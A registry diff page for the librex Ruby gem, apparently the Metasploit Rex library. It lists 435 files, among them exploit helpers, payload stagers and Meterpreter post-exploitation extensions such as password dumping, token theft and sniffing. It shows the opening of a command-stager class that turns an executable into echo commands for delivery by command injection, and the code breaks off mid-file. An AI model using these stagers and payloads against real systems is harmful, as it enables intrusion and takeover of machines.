librex 0.0.20 → 0.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (435) hide show
  1. data/Rakefile +1 -0
  2. data/lib/rex/LICENSE +29 -0
  3. data/lib/rex/arch.rb +103 -0
  4. data/lib/rex/arch/sparc.rb +75 -0
  5. data/lib/rex/arch/sparc.rb.ut.rb +18 -0
  6. data/lib/rex/arch/x86.rb +513 -0
  7. data/lib/rex/arch/x86.rb.ut.rb +93 -0
  8. data/lib/rex/assembly/nasm.rb +104 -0
  9. data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
  10. data/lib/rex/codepage.map +104 -0
  11. data/lib/rex/compat.rb +311 -0
  12. data/lib/rex/constants.rb +113 -0
  13. data/lib/rex/elfparsey.rb +11 -0
  14. data/lib/rex/elfparsey/elf.rb +123 -0
  15. data/lib/rex/elfparsey/elfbase.rb +258 -0
  16. data/lib/rex/elfparsey/exceptions.rb +27 -0
  17. data/lib/rex/elfscan.rb +12 -0
  18. data/lib/rex/elfscan/scanner.rb +207 -0
  19. data/lib/rex/elfscan/search.rb +46 -0
  20. data/lib/rex/encoder/alpha2.rb +31 -0
  21. data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
  22. data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
  23. data/lib/rex/encoder/alpha2/generic.rb +114 -0
  24. data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
  25. data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
  26. data/lib/rex/encoder/ndr.rb +89 -0
  27. data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
  28. data/lib/rex/encoder/nonalpha.rb +61 -0
  29. data/lib/rex/encoder/nonupper.rb +64 -0
  30. data/lib/rex/encoder/xdr.rb +106 -0
  31. data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
  32. data/lib/rex/encoder/xor.rb +69 -0
  33. data/lib/rex/encoder/xor/dword.rb +13 -0
  34. data/lib/rex/encoder/xor/dword_additive.rb +13 -0
  35. data/lib/rex/encoders/xor_dword.rb +35 -0
  36. data/lib/rex/encoders/xor_dword_additive.rb +53 -0
  37. data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
  38. data/lib/rex/encoding/xor.rb +20 -0
  39. data/lib/rex/encoding/xor.rb.ts.rb +14 -0
  40. data/lib/rex/encoding/xor/byte.rb +15 -0
  41. data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
  42. data/lib/rex/encoding/xor/dword.rb +21 -0
  43. data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
  44. data/lib/rex/encoding/xor/dword_additive.rb +92 -0
  45. data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
  46. data/lib/rex/encoding/xor/exceptions.rb +17 -0
  47. data/lib/rex/encoding/xor/generic.rb +146 -0
  48. data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
  49. data/lib/rex/encoding/xor/qword.rb +15 -0
  50. data/lib/rex/encoding/xor/word.rb +21 -0
  51. data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
  52. data/lib/rex/exceptions.rb +275 -0
  53. data/lib/rex/exceptions.rb.ut.rb +44 -0
  54. data/lib/rex/exploitation/cmdstager.rb +9 -0
  55. data/lib/rex/exploitation/cmdstager/base.rb +175 -0
  56. data/lib/rex/exploitation/cmdstager/debug_asm.rb +142 -0
  57. data/lib/rex/exploitation/cmdstager/debug_write.rb +136 -0
  58. data/lib/rex/exploitation/cmdstager/tftp.rb +63 -0
  59. data/lib/rex/exploitation/cmdstager/vbs.rb +128 -0
  60. data/lib/rex/exploitation/egghunter.rb +277 -0
  61. data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
  62. data/lib/rex/exploitation/encryptjs.rb +77 -0
  63. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  64. data/lib/rex/exploitation/heaplib.rb +94 -0
  65. data/lib/rex/exploitation/javascriptosdetect.rb +897 -0
  66. data/lib/rex/exploitation/obfuscatejs.rb +335 -0
  67. data/lib/rex/exploitation/omelet.rb +320 -0
  68. data/lib/rex/exploitation/omelet.rb.ut.rb +13 -0
  69. data/lib/rex/exploitation/opcodedb.rb +818 -0
  70. data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
  71. data/lib/rex/exploitation/seh.rb +92 -0
  72. data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
  73. data/lib/rex/file.rb +112 -0
  74. data/lib/rex/file.rb.ut.rb +16 -0
  75. data/lib/rex/image_source.rb +12 -0
  76. data/lib/rex/image_source/disk.rb +60 -0
  77. data/lib/rex/image_source/image_source.rb +46 -0
  78. data/lib/rex/image_source/memory.rb +37 -0
  79. data/lib/rex/io/bidirectional_pipe.rb +157 -0
  80. data/lib/rex/io/datagram_abstraction.rb +35 -0
  81. data/lib/rex/io/ring_buffer.rb +364 -0
  82. data/lib/rex/io/stream.rb +319 -0
  83. data/lib/rex/io/stream_abstraction.rb +197 -0
  84. data/lib/rex/io/stream_server.rb +211 -0
  85. data/lib/rex/job_container.rb +187 -0
  86. data/lib/rex/logging.rb +4 -0
  87. data/lib/rex/logging/log_dispatcher.rb +179 -0
  88. data/lib/rex/logging/log_sink.rb +42 -0
  89. data/lib/rex/logging/sinks/flatfile.rb +55 -0
  90. data/lib/rex/logging/sinks/stderr.rb +43 -0
  91. data/lib/rex/machparsey.rb +9 -0
  92. data/lib/rex/machparsey/exceptions.rb +34 -0
  93. data/lib/rex/machparsey/mach.rb +209 -0
  94. data/lib/rex/machparsey/machbase.rb +408 -0
  95. data/lib/rex/machscan.rb +9 -0
  96. data/lib/rex/machscan/scanner.rb +217 -0
  97. data/lib/rex/mime.rb +9 -0
  98. data/lib/rex/mime/header.rb +77 -0
  99. data/lib/rex/mime/message.rb +144 -0
  100. data/lib/rex/mime/part.rb +20 -0
  101. data/lib/rex/nop/opty2.rb +108 -0
  102. data/lib/rex/nop/opty2.rb.ut.rb +23 -0
  103. data/lib/rex/nop/opty2_tables.rb +300 -0
  104. data/lib/rex/ole.rb +205 -0
  105. data/lib/rex/ole/clsid.rb +47 -0
  106. data/lib/rex/ole/difat.rb +141 -0
  107. data/lib/rex/ole/directory.rb +231 -0
  108. data/lib/rex/ole/direntry.rb +240 -0
  109. data/lib/rex/ole/docs/dependencies.txt +8 -0
  110. data/lib/rex/ole/docs/references.txt +1 -0
  111. data/lib/rex/ole/fat.rb +99 -0
  112. data/lib/rex/ole/header.rb +204 -0
  113. data/lib/rex/ole/minifat.rb +77 -0
  114. data/lib/rex/ole/propset.rb +144 -0
  115. data/lib/rex/ole/samples/create_ole.rb +27 -0
  116. data/lib/rex/ole/samples/dir.rb +35 -0
  117. data/lib/rex/ole/samples/dump_stream.rb +34 -0
  118. data/lib/rex/ole/samples/ole_info.rb +23 -0
  119. data/lib/rex/ole/storage.rb +395 -0
  120. data/lib/rex/ole/stream.rb +53 -0
  121. data/lib/rex/ole/substorage.rb +49 -0
  122. data/lib/rex/ole/util.rb +157 -0
  123. data/lib/rex/parser/arguments.rb +97 -0
  124. data/lib/rex/parser/arguments.rb.ut.rb +67 -0
  125. data/lib/rex/parser/ini.rb +185 -0
  126. data/lib/rex/parser/ini.rb.ut.rb +29 -0
  127. data/lib/rex/parser/ip360_aspl_xml.rb +102 -0
  128. data/lib/rex/parser/ip360_xml.rb +97 -0
  129. data/lib/rex/parser/nessus_xml.rb +118 -0
  130. data/lib/rex/parser/netsparker_xml.rb +94 -0
  131. data/lib/rex/parser/nexpose_xml.rb +136 -0
  132. data/lib/rex/parser/nmap_xml.rb +137 -0
  133. data/lib/rex/parser/retina_xml.rb +109 -0
  134. data/lib/rex/payloads.rb +1 -0
  135. data/lib/rex/payloads/win32.rb +2 -0
  136. data/lib/rex/payloads/win32/common.rb +26 -0
  137. data/lib/rex/payloads/win32/kernel.rb +53 -0
  138. data/lib/rex/payloads/win32/kernel/common.rb +54 -0
  139. data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
  140. data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
  141. data/lib/rex/payloads/win32/kernel/stager.rb +194 -0
  142. data/lib/rex/peparsey.rb +12 -0
  143. data/lib/rex/peparsey/exceptions.rb +32 -0
  144. data/lib/rex/peparsey/pe.rb +212 -0
  145. data/lib/rex/peparsey/pe_memdump.rb +63 -0
  146. data/lib/rex/peparsey/pebase.rb +1680 -0
  147. data/lib/rex/peparsey/section.rb +136 -0
  148. data/lib/rex/pescan.rb +13 -0
  149. data/lib/rex/pescan/analyze.rb +309 -0
  150. data/lib/rex/pescan/scanner.rb +206 -0
  151. data/lib/rex/pescan/search.rb +56 -0
  152. data/lib/rex/platforms.rb +1 -0
  153. data/lib/rex/platforms/windows.rb +51 -0
  154. data/lib/rex/poly.rb +132 -0
  155. data/lib/rex/poly/block.rb +477 -0
  156. data/lib/rex/poly/register.rb +100 -0
  157. data/lib/rex/poly/register/x86.rb +40 -0
  158. data/lib/rex/post.rb +8 -0
  159. data/lib/rex/post/dir.rb +51 -0
  160. data/lib/rex/post/file.rb +172 -0
  161. data/lib/rex/post/file_stat.rb +220 -0
  162. data/lib/rex/post/gen.pl +13 -0
  163. data/lib/rex/post/io.rb +182 -0
  164. data/lib/rex/post/meterpreter.rb +4 -0
  165. data/lib/rex/post/meterpreter/channel.rb +445 -0
  166. data/lib/rex/post/meterpreter/channel_container.rb +54 -0
  167. data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
  168. data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
  169. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
  170. data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
  171. data/lib/rex/post/meterpreter/client.rb +364 -0
  172. data/lib/rex/post/meterpreter/client_core.rb +274 -0
  173. data/lib/rex/post/meterpreter/dependencies.rb +3 -0
  174. data/lib/rex/post/meterpreter/extension.rb +32 -0
  175. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
  176. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
  177. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
  178. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
  179. data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
  180. data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +15 -0
  181. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
  182. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
  183. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +111 -0
  184. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
  185. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +101 -0
  186. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +26 -0
  187. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
  188. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +282 -0
  189. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +266 -0
  190. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
  191. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
  192. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
  193. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
  194. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
  195. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
  196. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
  197. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
  198. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +208 -0
  199. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +6 -0
  200. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38106 -0
  201. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +31 -0
  202. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +47 -0
  203. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +36 -0
  204. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +1818 -0
  205. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +96 -0
  206. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3848 -0
  207. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +26 -0
  208. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +153 -0
  209. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +21 -0
  210. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3169 -0
  211. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +599 -0
  212. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +318 -0
  213. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +100 -0
  214. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +42 -0
  215. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +148 -0
  216. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +127 -0
  217. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +309 -0
  218. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +204 -0
  219. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +51 -0
  220. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +630 -0
  221. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +75 -0
  222. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +103 -0
  223. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +149 -0
  224. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
  225. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
  226. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
  227. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
  228. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +370 -0
  229. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
  230. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
  231. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
  232. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
  233. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
  234. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
  235. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
  236. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
  237. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +211 -0
  238. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
  239. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +63 -0
  240. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
  241. data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
  242. data/lib/rex/post/meterpreter/packet.rb +688 -0
  243. data/lib/rex/post/meterpreter/packet_dispatcher.rb +431 -0
  244. data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
  245. data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
  246. data/lib/rex/post/meterpreter/ui/console.rb +137 -0
  247. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
  248. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +730 -0
  249. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
  250. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
  251. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +231 -0
  252. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
  253. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
  254. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
  255. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
  256. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
  257. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +65 -0
  258. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +442 -0
  259. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +298 -0
  260. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +486 -0
  261. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
  262. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +157 -0
  263. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
  264. data/lib/rex/post/permission.rb +26 -0
  265. data/lib/rex/post/process.rb +57 -0
  266. data/lib/rex/post/thread.rb +57 -0
  267. data/lib/rex/post/ui.rb +52 -0
  268. data/lib/rex/proto.rb +13 -0
  269. data/lib/rex/proto.rb.ts.rb +8 -0
  270. data/lib/rex/proto/dcerpc.rb +6 -0
  271. data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
  272. data/lib/rex/proto/dcerpc/client.rb +361 -0
  273. data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
  274. data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
  275. data/lib/rex/proto/dcerpc/handle.rb +47 -0
  276. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
  277. data/lib/rex/proto/dcerpc/ndr.rb +72 -0
  278. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
  279. data/lib/rex/proto/dcerpc/packet.rb +253 -0
  280. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
  281. data/lib/rex/proto/dcerpc/response.rb +187 -0
  282. data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
  283. data/lib/rex/proto/dcerpc/uuid.rb +84 -0
  284. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
  285. data/lib/rex/proto/dhcp.rb +7 -0
  286. data/lib/rex/proto/dhcp/constants.rb +33 -0
  287. data/lib/rex/proto/dhcp/server.rb +292 -0
  288. data/lib/rex/proto/drda.rb +5 -0
  289. data/lib/rex/proto/drda.rb.ts.rb +17 -0
  290. data/lib/rex/proto/drda/constants.rb +49 -0
  291. data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
  292. data/lib/rex/proto/drda/packet.rb +252 -0
  293. data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
  294. data/lib/rex/proto/drda/utils.rb +123 -0
  295. data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
  296. data/lib/rex/proto/http.rb +5 -0
  297. data/lib/rex/proto/http.rb.ts.rb +12 -0
  298. data/lib/rex/proto/http/client.rb +821 -0
  299. data/lib/rex/proto/http/client.rb.ut.rb +95 -0
  300. data/lib/rex/proto/http/handler.rb +46 -0
  301. data/lib/rex/proto/http/handler/erb.rb +128 -0
  302. data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
  303. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
  304. data/lib/rex/proto/http/handler/proc.rb +60 -0
  305. data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
  306. data/lib/rex/proto/http/header.rb +161 -0
  307. data/lib/rex/proto/http/header.rb.ut.rb +46 -0
  308. data/lib/rex/proto/http/packet.rb +407 -0
  309. data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
  310. data/lib/rex/proto/http/request.rb +356 -0
  311. data/lib/rex/proto/http/request.rb.ut.rb +214 -0
  312. data/lib/rex/proto/http/response.rb +90 -0
  313. data/lib/rex/proto/http/response.rb.ut.rb +149 -0
  314. data/lib/rex/proto/http/server.rb +369 -0
  315. data/lib/rex/proto/http/server.rb.ut.rb +79 -0
  316. data/lib/rex/proto/ntlm.rb +7 -0
  317. data/lib/rex/proto/ntlm.rb.ut.rb +177 -0
  318. data/lib/rex/proto/ntlm/base.rb +326 -0
  319. data/lib/rex/proto/ntlm/constants.rb +74 -0
  320. data/lib/rex/proto/ntlm/crypt.rb +415 -0
  321. data/lib/rex/proto/ntlm/exceptions.rb +16 -0
  322. data/lib/rex/proto/ntlm/message.rb +536 -0
  323. data/lib/rex/proto/ntlm/utils.rb +764 -0
  324. data/lib/rex/proto/proxy/socks4a.rb +440 -0
  325. data/lib/rex/proto/rfb.rb +19 -0
  326. data/lib/rex/proto/rfb.rb.ut.rb +37 -0
  327. data/lib/rex/proto/rfb/cipher.rb +84 -0
  328. data/lib/rex/proto/rfb/client.rb +207 -0
  329. data/lib/rex/proto/rfb/constants.rb +52 -0
  330. data/lib/rex/proto/smb.rb +7 -0
  331. data/lib/rex/proto/smb.rb.ts.rb +8 -0
  332. data/lib/rex/proto/smb/client.rb +1952 -0
  333. data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
  334. data/lib/rex/proto/smb/constants.rb +1047 -0
  335. data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
  336. data/lib/rex/proto/smb/crypt.rb +36 -0
  337. data/lib/rex/proto/smb/evasions.rb +66 -0
  338. data/lib/rex/proto/smb/exceptions.rb +858 -0
  339. data/lib/rex/proto/smb/simpleclient.rb +306 -0
  340. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
  341. data/lib/rex/proto/smb/utils.rb +103 -0
  342. data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
  343. data/lib/rex/proto/sunrpc.rb +1 -0
  344. data/lib/rex/proto/sunrpc/client.rb +195 -0
  345. data/lib/rex/proto/tftp.rb +12 -0
  346. data/lib/rex/proto/tftp/constants.rb +39 -0
  347. data/lib/rex/proto/tftp/server.rb +497 -0
  348. data/lib/rex/proto/tftp/server.rb.ut.rb +28 -0
  349. data/lib/rex/script.rb +42 -0
  350. data/lib/rex/script/base.rb +59 -0
  351. data/lib/rex/script/meterpreter.rb +15 -0
  352. data/lib/rex/script/shell.rb +9 -0
  353. data/lib/rex/service.rb +48 -0
  354. data/lib/rex/service_manager.rb +141 -0
  355. data/lib/rex/service_manager.rb.ut.rb +32 -0
  356. data/lib/rex/services/local_relay.rb +423 -0
  357. data/lib/rex/socket.rb +684 -0
  358. data/lib/rex/socket.rb.ut.rb +107 -0
  359. data/lib/rex/socket/comm.rb +119 -0
  360. data/lib/rex/socket/comm/local.rb +412 -0
  361. data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
  362. data/lib/rex/socket/ip.rb +130 -0
  363. data/lib/rex/socket/parameters.rb +345 -0
  364. data/lib/rex/socket/parameters.rb.ut.rb +51 -0
  365. data/lib/rex/socket/range_walker.rb +346 -0
  366. data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
  367. data/lib/rex/socket/ssl_tcp.rb +184 -0
  368. data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
  369. data/lib/rex/socket/ssl_tcp_server.rb +122 -0
  370. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +61 -0
  371. data/lib/rex/socket/subnet_walker.rb +75 -0
  372. data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
  373. data/lib/rex/socket/switch_board.rb +278 -0
  374. data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
  375. data/lib/rex/socket/tcp.rb +76 -0
  376. data/lib/rex/socket/tcp.rb.ut.rb +64 -0
  377. data/lib/rex/socket/tcp_server.rb +66 -0
  378. data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
  379. data/lib/rex/socket/udp.rb +164 -0
  380. data/lib/rex/socket/udp.rb.ut.rb +44 -0
  381. data/lib/rex/struct2.rb +5 -0
  382. data/lib/rex/struct2/c_struct.rb +181 -0
  383. data/lib/rex/struct2/c_struct_template.rb +39 -0
  384. data/lib/rex/struct2/constant.rb +26 -0
  385. data/lib/rex/struct2/element.rb +44 -0
  386. data/lib/rex/struct2/generic.rb +73 -0
  387. data/lib/rex/struct2/restraint.rb +54 -0
  388. data/lib/rex/struct2/s_string.rb +72 -0
  389. data/lib/rex/struct2/s_struct.rb +111 -0
  390. data/lib/rex/sync.rb +6 -0
  391. data/lib/rex/sync/event.rb +94 -0
  392. data/lib/rex/sync/read_write_lock.rb +176 -0
  393. data/lib/rex/sync/ref.rb +57 -0
  394. data/lib/rex/sync/thread_safe.rb +82 -0
  395. data/lib/rex/test.rb +35 -0
  396. data/lib/rex/text.rb +1163 -0
  397. data/lib/rex/text.rb.ut.rb +190 -0
  398. data/lib/rex/thread_factory.rb +42 -0
  399. data/lib/rex/time.rb +65 -0
  400. data/lib/rex/transformer.rb +115 -0
  401. data/lib/rex/transformer.rb.ut.rb +38 -0
  402. data/lib/rex/ui.rb +21 -0
  403. data/lib/rex/ui/interactive.rb +298 -0
  404. data/lib/rex/ui/output.rb +78 -0
  405. data/lib/rex/ui/output/none.rb +18 -0
  406. data/lib/rex/ui/progress_tracker.rb +96 -0
  407. data/lib/rex/ui/subscriber.rb +149 -0
  408. data/lib/rex/ui/text/color.rb +97 -0
  409. data/lib/rex/ui/text/color.rb.ut.rb +18 -0
  410. data/lib/rex/ui/text/dispatcher_shell.rb +467 -0
  411. data/lib/rex/ui/text/input.rb +117 -0
  412. data/lib/rex/ui/text/input/buffer.rb +75 -0
  413. data/lib/rex/ui/text/input/readline.rb +129 -0
  414. data/lib/rex/ui/text/input/socket.rb +95 -0
  415. data/lib/rex/ui/text/input/stdio.rb +45 -0
  416. data/lib/rex/ui/text/irb_shell.rb +57 -0
  417. data/lib/rex/ui/text/output.rb +80 -0
  418. data/lib/rex/ui/text/output/buffer.rb +61 -0
  419. data/lib/rex/ui/text/output/file.rb +43 -0
  420. data/lib/rex/ui/text/output/socket.rb +43 -0
  421. data/lib/rex/ui/text/output/stdio.rb +40 -0
  422. data/lib/rex/ui/text/progress_tracker.rb +56 -0
  423. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
  424. data/lib/rex/ui/text/shell.rb +328 -0
  425. data/lib/rex/ui/text/table.rb +279 -0
  426. data/lib/rex/ui/text/table.rb.ut.rb +55 -0
  427. data/lib/rex/zip.rb +93 -0
  428. data/lib/rex/zip/archive.rb +184 -0
  429. data/lib/rex/zip/blocks.rb +182 -0
  430. data/lib/rex/zip/entry.rb +104 -0
  431. data/lib/rex/zip/samples/comment.rb +32 -0
  432. data/lib/rex/zip/samples/mkwar.rb +138 -0
  433. data/lib/rex/zip/samples/mkzip.rb +19 -0
  434. data/lib/rex/zip/samples/recursive.rb +58 -0
  435. metadata +434 -1
@@ -0,0 +1,142 @@
1
+ ##
2
+ # $Id$
3
+ ##
4
+
5
+ require 'rex/text'
6
+ require 'rex/arch'
7
+ require 'msf/core/framework'
8
+
9
+ module Rex
10
+ module Exploitation
11
+
12
+ ###
13
+ #
14
+ # This class provides the ability to create a sequence of commands from an executable.
15
+ # When this sequence is ran via command injection or a shell, the resulting exe will
16
+ # be written to disk and executed.
17
+ #
18
+ # This particular version uses debug.exe to assemble a small COM file. The COM will
19
+ # take a hex-ascii file, created via echo >>, and decode it to the final binary.
20
+ #
21
+ # Requires: debug.exe
22
+ #
23
+ # Written by Joshua J. Drake
24
+ #
25
+ ###
26
+
27
+ class CmdStagerDebugAsm < CmdStagerBase
28
+
29
+ def initialize(exe)
30
+ super
31
+
32
+ @var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat"
33
+ @var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com"
34
+ @var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat"
35
+ @var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
36
+ @decoder = nil # filled in later
37
+ end
38
+
39
+
40
+ #
41
+ # Override just to set the extra byte count
42
+ #
43
+ def generate_cmds(opts)
44
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
45
+ @cmd_start = "echo "
46
+ @cmd_end = ">>#{@tempdir}#{@var_payload_in}"
47
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
48
+ opts.merge!({ :extra => xtra_len })
49
+ super
50
+ end
51
+
52
+
53
+ #
54
+ # Simple hex encoding...
55
+ #
56
+ def encode_payload(opts)
57
+ ret = @exe.unpack('H*')[0]
58
+ end
59
+
60
+
61
+ #
62
+ # Combine the parts of the encoded file with the stuff that goes
63
+ # before / after it.
64
+ #
65
+ def parts_to_commands(parts, opts)
66
+
67
+ cmds = []
68
+ parts.each do |p|
69
+ cmd = ''
70
+ cmd << @cmd_start
71
+ cmd << p
72
+ cmd << @cmd_end
73
+ cmds << cmd
74
+ end
75
+
76
+ cmds
77
+ end
78
+
79
+
80
+ #
81
+ # Generate the commands that will decode the file we just created
82
+ #
83
